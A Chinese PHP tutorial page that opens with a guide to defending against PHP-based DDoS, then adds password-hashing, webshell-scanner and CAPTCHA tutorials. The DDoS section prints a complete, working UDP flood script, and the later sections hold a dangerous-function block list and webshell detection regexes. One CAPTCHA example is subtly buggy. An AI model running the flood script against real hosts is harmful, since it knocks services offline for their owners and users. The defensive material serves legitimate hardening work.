PHP DDos的几个防御方法详解

 更新时间:2016年11月25日 15:23  点击:1378
PHP DDos是一种利用服务器就是利用我服务器的php.ini中配置allow_url_fopen = On才得成了,但allow_url_fopen 这个功能很多网站都需要使用,下面我来给大家介绍一些关于PHP DDos的几个防御方法

我们先来看php ddos代码

 代码如下 复制代码

$packets = 0;
$ip = $_GET['ip'];
$rand = $_GET['port'];
set_time_limit(0);
ignore_user_abort(FALSE);
$exec_time = $_GET['time'];
$time = time();
print "Flooded: $ip on port $rand
";
$max_time = $time+$exec_time;

for($i=0;$i<65535;$i++){
$out .= "X";
}
while(1){
$packets++;
if(time() > $max_time){
break;
}
$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s n";
?>

细心的朋友会发现fsockopen是一个主要攻击函数了,不断连接发送请求导致机器流量与cpu过多从而网站不对正常访问了。

于是简单的研究了一下PHP DDos脚本构造,并有所收获,下面介绍几点可以最大程度避免的方法:

注意:以下操作具有危险性,对于造成的任何后果,与傲游无关,请谨慎操作。

1.打开php.ini

2.禁用危险函数

由于程序不同,函数要求也不同,所以请客户自行增删需要禁用的函数。

找到disable_functions,将前面的“;”去掉,在等号后面增加:

 代码如下 复制代码

phpinfo,passthru,exec,system,popen,chroot,escapeshellcmd,escapeshellarg,shell_exec,proc_open,
proc_get_status,fsocket,fsockopen

3.设置PHP执行超时时间

如果程序未执行结束但已经达到最大执行时间,则会被强制停止,请根据需要调整时间。

找到max_execution_time,将前面的“;”去掉,在等号后面增加正整数,单位为秒,如:30

4.禁用上传目录PHP执行权限

大概分为三种服务器: IIS,Apache、Nginx,具体步骤就不写了,放出个链接供大家参考:

iis与apache取消目录脚本执行权限方法:http://www.111cn.net/sys/Windows/46232.htm

5.一个很暴力的方法

直接禁止PHP执行,原因是很多站点都可以生成静态网页的,每次生成或者管理都去手工打开PHP执行权限,现在已经有几个用户使用这种方法了,具体方法参见方法4

6.关闭用户中心

比如dede等cms都会有用户中心,里面有很多上传的地方,这就是大概的问题所在。

7.修改管理员目录

这个方法就不细谈了,并不是对所有程序都适合。

8.修改默认管理帐号

很多人都习惯使用:admin  但是如果程序出现漏洞,很容易被猜测出admin的密码,所以建议修改admin为其他登录名。

9.一个复杂且记得住的密码

不管是Windows/Linux的系统用户还是网站管理员的账户,都需要设置一个难以猜解的密码,如:123hai@tang@.

后再再附一个php防ddos攻击的代码

 代码如下 复制代码

<?php 
//查询禁止IP 
$ip =$_SERVER['REMOTE_ADDR']; 
$fileht=".htaccess2"; 
if(!file_exists($fileht))file_put_contents($fileht,""); 
$filehtarr=@file($fileht); 
if(in_array($ip."rn",$filehtarr))die("Warning:"."<br>"."Your IP address are forbided by some reason, IF you have any question Pls emill to shop@mydalle.com!"); 

//加入禁止IP 
$time=time(); 
$fileforbid="log/forbidchk.dat"; 
if(file_exists($fileforbid)) 
{ if($time-filemtime($fileforbid)>60)unlink($fileforbid); 
else{ 
$fileforbidarr=@file($fileforbid); 
if($ip==substr($fileforbidarr[0],0,strlen($ip))) 

if($time-substr($fileforbidarr[1],0,strlen($time))>600)unlink($fileforbid); 
elseif($fileforbidarr[2]>600){file_put_contents($fileht,$ip."rn",FILE_APPEND);unlink($fileforbid);} 
else{$fileforbidarr[2]++;file_put_contents($fileforbid,$fileforbidarr);} 



//防刷新 
$str=""; 
$file="log/ipdate.dat"; 
if(!file_exists("log")&&!is_dir("log"))mkdir("log",0777); 
if(!file_exists($file))file_put_contents($file,""); 
$allowTime = 120;//防刷新时间 
$allowNum=10;//防刷新次数 
$uri=$_SERVER['REQUEST_URI']; 
$checkip=md5($ip); 
$checkuri=md5($uri); 
$yesno=true; 
$ipdate=@file($file); 
foreach($ipdate as $k=>$v) 
{ $iptem=substr($v,0,32); 
$uritem=substr($v,32,32); 
$timetem=substr($v,64,10); 
$numtem=substr($v,74); 
if($time-$timetem<$allowTime){ 
if($iptem!=$checkip)$str.=$v; 
else{ 
$yesno=false; 
if($uritem!=$checkuri)$str.=$iptem.$checkuri.$time."1rn"; 
elseif($numtem<$allowNum)$str.=$iptem.$uritem.$timetem.($numtem+1)."rn"; 
else 

if(!file_exists($fileforbid)){$addforbidarr=array($ip."rn",time()."rn",1);file_put_contents($fileforbid,$addforbidarr);} 
file_put_contents("log/forbided_ip.log",$ip."--".date("Y-m-d H:i:s",time())."--".$uri."rn",FILE_APPEND); 
$timepass=$timetem+$allowTime-$time; 
die("Warning:"."<br>"."Sorry,you are forbided by refreshing frequently too much, Pls wait for ".$timepass." seconds to continue!"); 




if($yesno) $str.=$checkip.$checkuri.$time."1rn"; 
file_put_contents($file,$str); 
?>


相关教程 :

iis防止php ddos占完网络带宽与服务器资源解决方法

如果你使用php5.5版本的话我们对于哈希创建和验证方法就简单多了, PHP 5.5为我们提供了4个函数:password_get_info(), password_hash(), password_needs_rehash(),和password_verify(),有了它们四我们就可以快速实现哈希创建和验证了。

首先讨论password_hash()函数。这将用作创建一个新的密码的哈希值。它包含三个参数:密码、哈希算法、选项。前两项为必须的。你可以根据下面的例子来使用这个函数:

 代码如下 复制代码

$password = 'foo';
$hash = password_hash($password,PASSWORD_BCRYPT);
//$2y$10$uOegXJ09qznQsKvPfxr61uWjpJBxVDH2KGJQVnodzjnglhs2WTwHu

你将注意到我们并没有给这个哈希加任何选项。现在可用的选项被限定为两个: cost 和salt。妖添加选项你需要创建一个关联数组。

 代码如下 复制代码
$options = [ 'cost' => 10,
             'salt' => mcrypt_create_iv(22, MCRYPT_DEV_URANDOM) ];

将选项添加到 password_hash() 函数后,我们的哈希值变了,这样更加安全。

 代码如下 复制代码
$hash = password_hash($password,PASSWORD_BCRYPT,$options);
//$2y$10$JDJ5JDEwJDhsTHV6SGVIQuprRHZnGQsUEtlk8Iem0okH6HPyCoo22

现在哈希创建完毕了,我们可以通过 password_get_info() 查看新建哈希值得相关信息。password_get_info() 需要一个参数——哈希值——并返回一个包含算法(所用哈希算法的整数代表形式)、算法名(所用哈希算法的可读名称)以及选项(我们用于创建哈希值得选项)的关联数组。

 代码如下 复制代码
var_dump(password_get_info($hash));
/*
array(3) {
  ["algo"]=>
  int(1)
  ["algoName"]=>
  string(6) "bcrypt"
  ["options"]=>
  array(1) {
    ["cost"]=>
    int(10)
  }
}

*/先一个被添加到 Password Hashing API 的是 password_needs_rehash(),它接受三个参数,hash、hash 算法以及选项,前两个是必填项。 password_needs_rehash()用来检查一个hash值是否是使用特定算法及选项创建的。这在你的数据库受损需要调整hash时非常有用。通过利用 password_needs_rehash() 检查每个hash值,我们可以看到已存的hash 值是否匹配新的参数, 仅影响那些使用旧参数创建的值。

最后,我们已经创建了我们的hash值,查阅了它如何被创建,查阅了它是否需要被重新hash,现在我们需要验证它。要验证纯文本到其hash值,我们必须使用 password_verify(),它需要两个参数,密码及hash值,并将返回 TRUE 或 FALSE。让我们检查一次我们获得的 hashed 看看是否正确。

 代码如下 复制代码

$authenticate = password_verify('foo','$2y$10$JDJ5JDEwJDhsTHV6SGVIQuprRHZnGQsUEtlk8Iem0okH6HPyCoo22');
//TRUE
$authenticate = password_verify('bar','$2y$10$JDJ5JDEwJDhsTHV6SGVIQuprRHZnGQsUEtlk8Iem0okH6HPyCoo22');
//FALSE

Example #1 password_verify() example

 代码如下 复制代码

<?php
// See the password_hash() example to see where this came from.
$hash = '$2y$07$BCryptRequires22Chrcte/VlQH0piJtjXl.0t1XkA8pw9dMXTpOq';

if (password_verify('rasmuslerdorf', $hash)) {
    echo 'Password is valid!';
} else {
    echo 'Invalid password.';
}
?>
以上例程会输出:

Password is valid!

通过以上知识,你可以在新的 PHP 5.5.0 版本中迅速且安全的创建 hash 密码了。

本文章来给大家介绍一个php webshell扫描后门木马实例程序,这个可以扫描你网站上的木马程序哦,这个给大家找网站木马提供了很大的方便,有需要的朋友可参考。
 代码如下 复制代码

<?php
/**********************
  php扫描后门
**********************/
error_reporting(E_ERROR);
ini_set('max_execution_time',20000);
ini_set('memory_limit','512M');
header("content-Type: text/html; charset=gb2312");
$matches = array(
  '/function\_exists\s*\(\s*[\'|\"](popen|exec|proc\_open|system|passthru)+[\'|\"]\s*\)/i',
  '/(exec|shell\_exec|system|passthru)+\s*\(\s*\$\_(\w+)\[(.*)\]\s*\)/i',
  '/((udp|tcp)\:\/\/(.*)\;)+/i',
  '/preg\_replace\s*\((.*)\/e(.*)\,\s*\$\_(.*)\,(.*)\)/i',
  '/preg\_replace\s*\((.*)\(base64\_decode\(\$/i',
  '/(eval|assert|include|require|include\_once|require\_once)+\s*\(\s*(base64\_decode|str\_rot13|gz(\w+)|file\_(\w+)\_contents|(.*)php\:\/\/input)+/i',
  '/(eval|assert|include|require|include\_once|require\_once|array\_map|array\_walk)+\s*\(\s*\$\_(GET|POST|REQUEST|COOKIE|SERVER|SESSION)+\[(.*)\]\s*\)/i',
  '/eval\s*\(\s*\(\s*\$\$(\w+)/i',
  '/(include|require|include\_once|require\_once)+\s*\(\s*[\'|\"](\w+)\.(jpg|gif|ico|bmp|png|txt|zip|rar|htm|css|js)+[\'|\"]\s*\)/i',
  '/\$\_(\w+)(.*)(eval|assert|include|require|include\_once|require\_once)+\s*\(\s*\$(\w+)\s*\)/i',
  '/\(\s*\$\_FILES\[(.*)\]\[(.*)\]\s*\,\s*\$\_(GET|POST|REQUEST|FILES)+\[(.*)\]\[(.*)\]\s*\)/i',
  '/(fopen|fwrite|fputs|file\_put\_contents)+\s*\((.*)\$\_(GET|POST|REQUEST|COOKIE|SERVER)+\[(.*)\](.*)\)/i',
  '/echo\s*curl\_exec\s*\(\s*\$(\w+)\s*\)/i',
  '/new com\s*\(\s*[\'|\"]shell(.*)[\'|\"]\s*\)/i',
  '/\$(.*)\s*\((.*)\/e(.*)\,\s*\$\_(.*)\,(.*)\)/i',
  '/\$\_\=(.*)\$\_/i',
  '/\$\_(GET|POST|REQUEST|COOKIE|SERVER)+\[(.*)\]\(\s*\$(.*)\)/i',
  '/\$(\w+)\s*\(\s*\$\_(GET|POST|REQUEST|COOKIE|SERVER)+\[(.*)\]\s*\)/i',
  '/\$(\w+)\(\$\{(.*)\}/i'
);
function antivirus($dir,$exs,$matches) {
  if(($handle = @opendir($dir)) == NULL) return false;
  while(false !== ($name = readdir($handle))) {
    if($name == '.' || $name == '..') continue;
    $path = $dir.$name;
    if(is_dir($path)) {
      if(is_readable($path)) antivirus($path.'/',$exs,$matches);
    } elseif(strpos($name,';') > -1 || strpos($name,'%00') > -1 || strpos($name,'/') > -1) {
      echo '<p>特征 <input type="text" style="width:218px;" value="解析漏洞"> '.$path.'</p>'; flush(); ob_flush();
    } else {
      if(!preg_match($exs,$name)) continue;
      if(filesize($path) > 10000000) continue;
      $fp = fopen($path,'r');
      $code = fread($fp,filesize($path));
      fclose($fp);
      if(empty($code)) continue;
      foreach($matches as $matche) {
        $array = array();
        preg_match($matche,$code,$array);
        if(!$array) continue;
        if(strpos($array[0],"\x24\x74\x68\x69\x73\x2d\x3e")) continue;
        $len = strlen($array[0]);
        if($len > 10 && $len < 1500) {
          echo '<p>特征 <input type="text" style="width:218px;" value="'.htmlspecialchars($array[0]).'"> '.$path.'</p>';
          flush(); ob_flush(); break;
        }
      }
      unset($code,$array);
    }
  }
  closedir($handle);
  return true;
}
function strdir($str) { return str_replace(array('\\','//','//'),array('/','/','/'),chop($str)); }
echo '<form method="POST">';
echo '<p>路径: <input type="text" name="dir" value="'.($_POST['dir'] ? strdir($_POST['dir'].'/') : strdir($_SERVER['DOCUMENT_ROOT'].'/')).'" style="width:398px;"></p>';
echo '<p>后缀: <input type="text" name="exs" value="'.($_POST['exs'] ? $_POST['exs'] : '.php|.inc|.phtml').'" style="width:398px;"></p>';
echo '<p>操作: <input type="submit" style="width:80px;" value="scan"></p>';
echo '</form>';
if(file_exists($_POST['dir']) && $_POST['exs']) {
  $dir = strdir($_POST['dir'].'/');
  $exs = '/('.str_replace('.','\\.',$_POST['exs']).')/i';
  echo antivirus($dir,$exs,$matches) ? '<p>扫描完毕</p>' : '<p>扫描中断</p>';
}
?>
以前我们利用php生成的都是无背景或同一色彩背景的验证码了,但这种验证容易给机器识别了,下面我来介绍一些生成带背景的图形验证码实例。

1、产生一张png的图片
2、为图片设置背景色
3、设置字体颜色和样式
4、产生4位数的随机的验证码
5、把产生的每个字符调整旋转角度和位置画到png图片上
6、加入噪点和干扰线防止注册机器分析原图片来恶意注册
7、输出图片
8、释放图片所占内存
authcode.php文件

代码

 代码如下 复制代码
<?php
        session_start ();
        header ( 'Content-type: image/png' );
        //创建图片
        $im = imagecreate($x=130,$y=45 );
        $bg = imagecolorallocate($im,rand(50,200),rand(0,155),rand(0,155)); //第一次对 imagecolorallocate() 的调用会给基于调色板的图像填充背景色
        $fontColor = imageColorAllocate ( $im, 255, 255, 255 );   //字体颜色
        $fontstyle = 'rock.ttf';                   //字体样式,这个可以从c:windowsFonts文件夹下找到,我把它放到和authcode.php文件同一个目录,这里可以替换其他的字体样式
        //产生随机字符
        for($i = 0; $i < 4; $i ++) {
                $randAsciiNumArray         = array (rand(48,57),rand(65,90));
                $randAsciiNum                 = $randAsciiNumArray [rand ( 0, 1 )];
                $randStr                         = chr ( $randAsciiNum );
                imagettftext($im,30,rand(0,20)-rand(0,25),5+$i*30,rand(30,35),$fontColor,$fontstyle,$randStr);
                $authcode                        .= $randStr;
        }
        $_SESSION['authcode']        = $randFourStr;//用户和用户输入的验证码做比较
        //干扰线
        for ($i=0;$i<8;$i++){
                $lineColor        = imagecolorallocate($im,rand(0,255),rand(0,255),rand(0,255));
                imageline ($im,rand(0,$x),0,rand(0,$x),$y,$lineColor);
        }
        //干扰点
        for ($i=0;$i<250;$i++){
                imagesetpixel($im,rand(0,$x),rand(0,$y),$fontColor);
        }
        imagepng($im);
        imagedestroy($im);               
?>

例2

•新建一个PHP文件captcha_code_file.php

 代码如下 复制代码

//首先开启session
session_start();
//定义前台显示验证码长&宽
$image_width = 120;
$image_height = 40;
$characters_on_image = 6;
$font = './monofont.ttf';
 
//The characters that can be used in the CAPTCHA code.
//avoid confusing characters (l 1 and i for example)
$possible_letters = '23456789bcdfghjkmnpqrstvwxyz';
$random_dots = 10;
$random_lines = 30;
$captcha_text_color="0x142864";
$captcha_noice_color = "0x142864";
//定义要生成验证码的字符串
$code = '';
 
$i = 0;
while ($i < $characters_on_image) { 
$code .= substr($possible_letters, mt_rand(0, strlen($possible_letters)-1), 1);
$i++;
}
 
$font_size = $image_height * 0.75;
$image = @imagecreate($image_width, $image_height);
 
/* setting the background, text and noise colours here */
$background_color = imagecolorallocate($image, 255, 255, 255);
 
$arr_text_color = hexrgb($captcha_text_color);
$text_color = imagecolorallocate($image, $arr_text_color['red'], 
        $arr_text_color['green'], $arr_text_color['blue']);
 
$arr_noice_color = hexrgb($captcha_noice_color);
$image_noise_color = imagecolorallocate($image, $arr_noice_color['red'], 
        $arr_noice_color['green'], $arr_noice_color['blue']);
 
/* generating the dots randomly in background */
for( $i=0; $i<$random_dots; $i++ ) {
imagefilledellipse($image, mt_rand(0,$image_width),
 mt_rand(0,$image_height), 2, 3, $image_noise_color);
}
 
/* generating lines randomly in background of image */
for( $i=0; $i<$random_lines; $i++ ) {
imageline($image, mt_rand(0,$image_width), mt_rand(0,$image_height),
 mt_rand(0,$image_width), mt_rand(0,$image_height), $image_noise_color);
}
 
/* create a text box and add 6 letters code in it */
$textbox = imagettfbbox($font_size, 0, $font, $code); 
$x = ($image_width - $textbox[4])/2;
$y = ($image_height - $textbox[5])/2;
imagettftext($image, $font_size, 0, $x, $y, $text_color, $font , $code);
 
/* Show captcha image in the page html page */
header('Content-Type: image/jpeg');// defining the image type to be shown in browser widow
imagejpeg($image);//showing the image
imagedestroy($image);//destroying the image instance
//设置session,做验证
$_SESSION['6_letters_code'] = $code;
 
function hexrgb ($hexstr)
{
  $int = hexdec($hexstr);
 
  return array("red" => 0xFF & ($int >> 0x10),
               "green" => 0xFF & ($int >> 0x8),
               "blue" => 0xFF & $int);
}

显示验证码页面index.php

<?php
session_start();
if(isset($_REQUEST['Submit'])){
    // code for check server side validation
    if(empty($_SESSION['6_letters_code'] ) ||
        strcasecmp($_SESSION['6_letters_code'], $_POST['6_letters_code']) != 0)
    {  
        $msg="您输入的验证码有误,请重新输入!";
    }else{
        echo "您输入的是正确的!";
        // Captcha verification is Correct. Final Code Execute here!
    }
}    
 ?>
 
<style type="text/css">
.table{
    font-family:Arial, Helvetica, sans-serif;
    font-size:12px;
    color:#333;
    background-color:#E4E4E4;    
}
.table td{
    <a href="http://www.111cn.net">Coinstar Money point</a>  background-color:#F8F8F8;     
}
</style>
 
<form action="" method="post" name="form1" id="form1" >
  <table width="400" border="0" align="center" cellpadding="5" cellspacing="1">
<?php if(isset($msg)){?>
    <tr>
      <td colspan="2" align="center" valign="top"><?php echo $msg;?></td>
    </tr>
<?php } ?> 
    <tr>
      <td align="right" valign="top"> 验证码Demo:</td>
      <td><img src="captcha_code_file.php?rand=<?php echo rand(0,20);?>" id='captchaimg'  onclick="refreshCaptcha();" ><br>
        <label for='message'>请输入验证码:</label>
        <br>
        <input id="6_letters_code" name="6_letters_code" type="text">
        <br>
        如果看不到,请 <a href='javascript: refreshCaptcha();'>点我</a> 刷新一下!
        </p></td>
    </tr>
    <tr>
      <td>&amp;nbsp;</td>
      <td><input name="Submit" type="submit" onclick="return validate();" value="Submit"></td>
    </tr>
  </table>
</form>
<script type='text/javascript'>
//定义的刷新请求
function refreshCaptcha()
{
    var img = document.images['captchaimg'];
    img.src = img.src.substring(0,img.src.lastIndexOf("?"))+"?rand="+Math.random()*1000;
}
</script>

例3

带有雪花背景的验证码

 代码如下 复制代码

<?session_start();?>
<FORM METHOD=POST ACTION="">
<input type=text name=number maxlength=4><img src="YanZhengMa.php?act=init">
<INPUT TYPE="submit" name="sub">
</FORM>
<?
//检验校验码
if(isset($HTTP_POST_VARS["sub"])):
if($HTTP_POST_VARS["number"] != $HTTP_SESSION_VARS[login_check_number] || empty($HTTP_POST_VARS["number"])){
    echo "校验码不正确!" ;
}else{
    echo"验证码通过!";
}
endif;
show_source('test.php');
//以上本页的源码


//以下是生成验证码的源码
show_source('YanZhengMa.php');
?>
<?php
session_start();
session_register("login_check_number");

 

//昨晚看到了chianren上的验证码效果,就考虑了一下,用PHP的GD库完成了类似功能
//先成生背景,再把生成的验证码放上去
$img_height=120;    //先定义图片的长、宽
$img_width=40;
if($HTTP_GET_VARS["act"]== "init"){
    //srand(microtime() * 100000);//PHP420后,srand不是必须的
    for($Tmpa=0;$Tmpa<4;$Tmpa++){
        $nmsg.=dechex(rand(0,15));
    }//by sports98


    $HTTP_SESSION_VARS[login_check_number] = $nmsg;

    //$HTTP_SESSION_VARS[login_check_number] = strval(mt_rand("1111","9999"));    //生成4位的随机数,放入session中
    //谁能做下补充,可以同时生成字母和数字啊??----由sports98完成了

 

    $aimg = imageCreate($img_height,$img_width);    //生成图片
    ImageColorAllocate($aimg, 255,255,255);            //图片底色,ImageColorAllocate第1次定义颜色PHP就认为是底色了
    $black = ImageColorAllocate($aimg, 0,0,0);        //定义需要的黑色


    ImageRectangle($aimg,0,0,$img_height-1,$img_width-1,$black);//先成一黑色的矩形把图片包围

    //下面该生成雪花背景了,其实就是在图片上生成一些符号
    for ($i=1; $i<=100; $i++) {    //先用100个做测试


        imageString($aimg,1,mt_rand(1,$img_height),mt_rand(1,$img_width),"*",imageColorAllocate($aimg,mt_rand(200,255),mt_rand(200,255),mt_rand(200,255)));
        //哈,看到了吧,其实也不是雪花,就是生成*号而已。为了使它们看起来"杂乱无章、5颜6色",就得在1个1个生成它们的时候,让它们的位置、颜色,甚至大小都用随机数,rand()或mt_rand都可以完成。
    }

    //上面生成了背景,现在就该把已经生成的随机数放上来了。道理和上面差不多,随机数1个1个地放,同时让他们的位置、大小、颜色都用成随机数~~
    //为了区别于背景,这里的颜色不超过200,上面的不小于200
    for ($i=0;$i<strlen($HTTP_SESSION_VARS[login_check_number]);$i++){
        imageString($aimg, mt_rand(3,5),$i*$img_height/4+mt_rand(1,10),mt_rand(1,$img_width/2), $HTTP_SESSION_VARS[login_check_number][$i],imageColorAllocate($aimg,mt_rand(0,100),mt_rand(0,150),mt_rand(0,200)));
    }
    Header("Content-type: image/png");    //告诉浏览器,下面的数据是图片,而不要按文字显示
    ImagePng($aimg);                    //生成png格式。。。嘿嘿效果蛮像回事的嘛。。。
    ImageDestroy($aimg);
}

?>

验证码可以防止一些用户重复提交来猜密码或利用暴力工具来猜密码,我们加了验证码之后给他们增加了不少难度了,下面我提供一款基于session验证码程序。


在网站的登陆和注册的时候,经常会用到验证码来防止别人用机械暴力注册或登陆,加上验证码这样一定程度上让网站安全很多,下面是一个比较简单的验证码生成,同时给session赋值。

 代码如下 复制代码

<?php
session_start();
header(“Content-type: image/png”);
//创建真彩色白纸
$im = @imagecreatetruecolor(50, 20) or die(“建立图像失败”);
//获取背景颜色
$background_color = imagecolorallocate($im, 255, 255, 255);
//填充背景颜色(这个东西类似油桶)
imagefill($im,0,0,$background_color);
//获取边框颜色
$border_color = imagecolorallocate($im,200,200,200);
//画矩形,边框颜色200,200,200
imagerectangle($im,0,0,49,19,$border_color);

//逐行炫耀背景,全屏用1或0
for($i=2;$i<18;$i++){
//获取随机淡色
$line_color = imagecolorallocate($im,rand(200,255),rand(200,255),rand(200,255));
//画线
imageline($im,2,$i,47,$i,$line_color);
}

//设置字体大小
$font_size=12;

//设置印上去的文字
$Str[0] = “ABCDEFGHIJKLMNOPQRSTUVWXYZ”;
$Str[1] = “abcdefghijklmnopqrstuvwxyz”;
$Str[2] = “01234567891234567890123456″;

//获取第1个随机文字
$imstr[0]["s"] = $Str[rand(0,2)][rand(0,25)];
$imstr[0]["x"] = rand(2,5);
$imstr[0]["y"] = rand(1,4);

//获取第2个随机文字
$imstr[1]["s"] = $Str[rand(0,2)][rand(0,25)];
$imstr[1]["x"] = $imstr[0]["x"]+$font_size-1+rand(0,1);
$imstr[1]["y"] = rand(1,3);

//获取第3个随机文字
$imstr[2]["s"] = $Str[rand(0,2)][rand(0,25)];
$imstr[2]["x"] = $imstr[1]["x"]+$font_size-1+rand(0,1);
$imstr[2]["y"] = rand(1,4);

//获取第4个随机文字
$imstr[3]["s"] = $Str[rand(0,2)][rand(0,25)];
$imstr[3]["x"] = $imstr[2]["x"]+$font_size-1+rand(0,1);
$imstr[3]["y"] = rand(1,3);

//将显示的数组赋值给session
$_SESSION['CODE'] = $imstr[0]["s"].$imstr[1]["s"].$imstr[2]["s"].$imstr[3]["s"];

//写入随机字串
for($i=0;$i<4;$i++){
$text_color = imagecolorallocate($im,rand(50,180),rand(50,180),rand(50,180));
imagechar($im,$font_size,$imstr[$i]["x"],$imstr[$i]["y"],$imstr[$i]["s"],$text_color);
}
//显示图片
imagepng($im);
//销毁图片
imagedestroy($im);
?>

[!--infotagslink--]

相关文章

  • php 中file_get_contents超时问题的解决方法

    file_get_contents超时我知道最多的原因就是你机器访问远程机器过慢,导致php脚本超时了,但也有其它很多原因,下面我来总结file_get_contents超时问题的解决方法总结。...2016-11-25
  • php抓取网站图片并保存的实现方法

    php如何实现抓取网页图片,相较于手动的粘贴复制,使用小程序要方便快捷多了,喜欢编程的人总会喜欢制作一些简单有用的小软件,最近就参考了网上一个php抓取图片代码,封装了一个php远程抓取图片的类,测试了一下,效果还不错分享...2015-10-30
  • HTTP 408错误是什么 HTTP 408错误解决方法

    相信很多站长都遇到过这样一个问题,访问页面时出现408错误,下面一聚教程网将为大家介绍408错误出现的原因以及408错误的解决办法。 HTTP 408错误出现原因: HTT...2017-01-22
  • Android子控件超出父控件的范围显示出来方法

    下面我们来看一篇关于Android子控件超出父控件的范围显示出来方法,希望这篇文章能够帮助到各位朋友,有碰到此问题的朋友可以进来看看哦。 <RelativeLayout xmlns:an...2016-10-02
  • 源码分析系列之json_encode()如何转化一个对象

    这篇文章主要介绍了源码分析系列之json_encode()如何转化一个对象,对json_encode()感兴趣的同学,可以参考下...2021-04-22
  • ps把文字背景变透明的操作方法

    ps软件是现在非常受大家喜欢的一款软件,有着非常不错的使用功能。这次文章就给大家介绍下ps把文字背景变透明的操作方法,喜欢的一起来看看。 1、使用Photoshop软件...2017-07-06
  • php中去除文字内容中所有html代码

    PHP去除html、css样式、js格式的方法很多,但发现,它们基本都有一个弊端:空格往往清除不了 经过不断的研究,最终找到了一个理想的去除html包括空格css样式、js 的PHP函数。...2013-08-02
  • Mysql select语句设置默认值的方法

    1.在没有设置默认值的情况下: 复制代码 代码如下:SELECT userinfo.id, user_name, role, adm_regionid, region_name , create_timeFROM userinfoLEFT JOIN region ON userinfo.adm_regionid = region.id 结果:...2014-05-31
  • intellij idea快速查看当前类中的所有方法(推荐)

    这篇文章主要介绍了intellij idea快速查看当前类中的所有方法,本文通过实例代码给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友可以参考下...2020-09-02
  • js导出table数据到excel即导出为EXCEL文档的方法

    复制代码 代码如下: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta ht...2013-10-13
  • mysql 批量更新与批量更新多条记录的不同值实现方法

    批量更新mysql更新语句很简单,更新一条数据的某个字段,一般这样写:复制代码 代码如下:UPDATE mytable SET myfield = 'value' WHERE other_field = 'other_value';如果更新同一字段为同一个值,mysql也很简单,修改下where即...2013-10-04
  • ps怎么制作倒影 ps设计倒影的方法

    ps软件是一款非常不错的图片处理软件,有着非常不错的使用效果。这次文章要给大家介绍的是ps怎么制作倒影,一起来看看设计倒影的方法。 用ps怎么做倒影最终效果&#819...2017-07-06
  • js基础知识(公有方法、私有方法、特权方法)

    本文涉及的主题虽然很基础,在许多人看来属于小伎俩,但在JavaScript基础知识中属于一个综合性的话题。这里会涉及到对象属性的封装、原型、构造函数、闭包以及立即执行表达式等知识。公有方法 公有方法就是能被外部访问...2015-11-08
  • 安卓手机wifi打不开修复教程,安卓手机wifi打不开解决方法

    手机wifi打不开?让小编来告诉你如何解决。还不知道的朋友快来看看。 手机wifi是现在生活中最常用的手机功能,但是遇到手机wifi打不开的情况该怎么办呢?如果手机wifi...2016-12-21
  • PHP 验证码不显示只有一个小红叉的解决方法

    最近想自学PHP ,做了个验证码,但不知道怎么搞的,总出现一个如下图的小红叉,但验证码就是显示不出来,原因如下 未修改之前,出现如下错误; (1)修改步骤如下,原因如下,原因是apache权限没开, (2)点击打开php.int., 搜索extension=ph...2013-10-04
  • c#中分割字符串的几种方法

    单个字符分割 string s="abcdeabcdeabcde"; string[] sArray=s.Split('c'); foreach(string i in sArray) Console.WriteLine(i.ToString()); 输出下面的结果: ab de...2020-06-25
  • js控制页面控件隐藏显示的两种方法介绍

    javascript控制页面控件隐藏显示的两种方法,方法的不同之处在于控件隐藏后是否还在页面上占位 方法一: 复制代码 代码如下: document.all["panelsms"].style.visibility="hidden"; document.all["panelsms"].style.visi...2013-10-13
  • 连接MySql速度慢的解决方法(skip-name-resolve)

    最近在Linux服务器上安装MySql5后,本地使用客户端连MySql速度超慢,本地程序连接也超慢。 解决方法:在配置文件my.cnf的[mysqld]下加入skip-name-resolve。原因是默认安装的MySql开启了DNS的反向解析。如果禁用的话就不能...2015-10-21
  • C#方法的总结详解

    本篇文章是对C#方法进行了详细的总结与介绍,需要的朋友参考下...2020-06-25
  • Zend studio文件注释模板设置方法

    步骤:Window -> PHP -> Editor -> Templates,这里可以设置(增、删、改、导入等)管理你的模板。新建文件注释、函数注释、代码块等模板的实例新建模板,分别输入Name、Description、Patterna)文件注释Name: 3cfileDescriptio...2013-10-04